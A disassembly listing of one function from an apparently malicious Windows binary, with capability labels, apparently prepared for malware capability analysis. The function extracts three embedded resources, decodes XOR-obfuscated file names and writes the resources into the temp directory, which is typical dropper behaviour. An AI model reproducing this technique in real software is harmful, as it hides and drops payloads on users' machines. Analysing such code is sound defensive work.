Function at 0x10040f20
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10089e80
mov eax, dword fs:[0]
push eax
sub esp, 0x320
mov eax, dword [0x100b5540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
lea eax, [ebp - 0x25c]
push eax
push 0x10041530
push 4
mov dword [ebp - 0x25c], 0
call ebx
push 0xff
push 0xfe
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x260], 0
lea eax, [ebp - 0x260]
push eax
push 0x10041530
push 4
call ebx
push edi
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x264]
push eax
push 0x10041530
push 4
call ebx
push edi
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
lea ecx, [ebp - 0x32c]
mov esi, eax
call fcn.1003e650
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x244], 0x47
xor edx, edx
mov byte [ebp - 0x240], 0x62
mov byte [ebp - 0x23f], 0x34
mov byte [ebp - 0x23e], 0x16
mov byte [ebp - 0x23d], 0x13
mov byte [ebp - 0x23c], 0x15
mov byte [ebp - 0x23b], 0x14
mov byte [ebp - 0x23a], 4
mov byte [ebp - 0x239], 4
mov byte [ebp - 0x238], 0x73
mov byte [ebp - 0x237], 0x73
mov byte [ebp - 0x236], 0x69
mov byte [ebp - 0x235], 0x33
mov byte [ebp - 0x234], 0x2a
mov byte [ebp - 0x233], 0x37
mov al, byte [ebp - 0x240]
mov byte [ebp - 0x232], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x240]
mov ecx, dword [ebp - 0x244]
xor cl, al
mov byte [ebp + edx - 0x240], cl
inc edx
cmp edx, 0xe
jb 0x10041090
lea eax, [ebp - 0x220]
mov byte [ebp - 0x232], 0
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.1003e3d0
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x32c]
push 0x40
push 0x12
push eax
call fcn.10056e10
cmp dword [ebp - 0x2dc], 0
je 0x10041109
push 0
push edi
push esi
lea ecx, [ebp - 0x32c]
call fcn.10029e40
lea ecx, [ebp - 0x32c]
call fcn.100447e0
lea eax, [ebp - 0x268]
mov dword [ebp - 0x268], 0
push eax
push 0x10041530
push 4
call ebx
push 0xff
push 0xfd
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x26c], 0
lea eax, [ebp - 0x26c]
push eax
push 0x10041530
push 4
call ebx
push edi
push dword [ebp - 0x26c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x270], 0
lea eax, [ebp - 0x270]
push eax
push 0x10041530
push 4
call ebx
push edi
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x258], 0x36
mov esi, eax
mov byte [ebp - 0x254], 0x13
xor edx, edx
mov byte [ebp - 0x253], 0x45
mov byte [ebp - 0x252], 0x67
mov byte [ebp - 0x251], 0x62
mov byte [ebp - 0x250], 0x64
mov byte [ebp - 0x24f], 0x65
mov byte [ebp - 0x24e], 0x75
mov byte [ebp - 0x24d], 0x75
mov byte [ebp - 0x24c], 2
mov byte [ebp - 0x24b], 3
mov byte [ebp - 0x24a], 0x18
mov byte [ebp - 0x249], 0x42
mov byte [ebp - 0x248], 0x5b
mov byte [ebp - 0x247], 0x46
mov al, byte [ebp - 0x254]
mov byte [ebp - 0x246], 0
mov al, byte [ebp + edx - 0x254]
mov ecx, dword [ebp - 0x258]
xor cl, al
mov byte [ebp + edx - 0x254], cl
inc edx
cmp edx, 0xe
jb 0x10041211
lea eax, [ebp - 0x220]
mov byte [ebp - 0x246], 0
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.1003e3d0
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x32c]
push 0x40
push 0x12
push eax
call fcn.10056e10
cmp dword [ebp - 0x2dc], 0
je 0x1004128a
push 0
push edi
push esi
lea ecx, [ebp - 0x32c]
call fcn.10029e40
lea ecx, [ebp - 0x32c]
call fcn.100447e0
lea eax, [ebp - 0x274]
mov dword [ebp - 0x274], 0
push eax
push 0x10041530
push 4
call ebx
push 0xff
push 0xfb
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x278], 0
lea eax, [ebp - 0x278]
push eax
push 0x10041530
push 4
call ebx
push edi
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x27c], 0
lea eax, [ebp - 0x27c]
push eax
push 0x10041530
push 4
call ebx
push edi
push dword [ebp - 0x27c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov byte [ebp - 0x230], 0x30
mov esi, eax
mov byte [ebp - 0x22f], 0x7e
xor ecx, ecx
mov byte [ebp - 0x22e], 0x5c
mov byte [ebp - 0x22d], 0x5f
mov byte [ebp - 0x22c], 0x5d
mov byte [ebp - 0x22b], 0x5e
mov byte [ebp - 0x22a], 0x4e
mov byte [ebp - 0x229], 0x4e
mov byte [ebp - 0x228], 0x3f
mov byte [ebp - 0x227], 0x42
mov byte [ebp - 0x226], 0x39
mov byte [ebp - 0x225], 0x7f
mov byte [ebp - 0x224], 0x78
mov byte [ebp - 0x223], 0x7b
mov byte [ebp - 0x222], 0
mov al, byte [ebp - 0x230]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x230]
sub al, 0xb
mov byte [ebp + ecx - 0x230], al
inc ecx
cmp ecx, 0xe
jb 0x10041390
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.1003e3d0
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x32c]
push 0x40
push 0x12
push eax
call fcn.10056e10
cmp dword [ebp - 0x2dc], 0
je 0x1004140b
push 0
push edi
push esi
lea ecx, [ebp - 0x32c]
call fcn.10029e40
lea ecx, [ebp - 0x32c]
call fcn.100447e0
lea eax, [ebp - 0x118]
push eax
call fcn.10039790
add esp, 4
mov eax, dword [ebp - 0x32c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x32c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x330], eax
lea ecx, [ebp - 0x328]
call fcn.10010b00
mov eax, dword [ebp - 0x32c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x32c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x330], eax
lea eax, [ebp - 0x2c4]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1005ed8f
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005f68b
mov esp, ebp
pop ebp
ret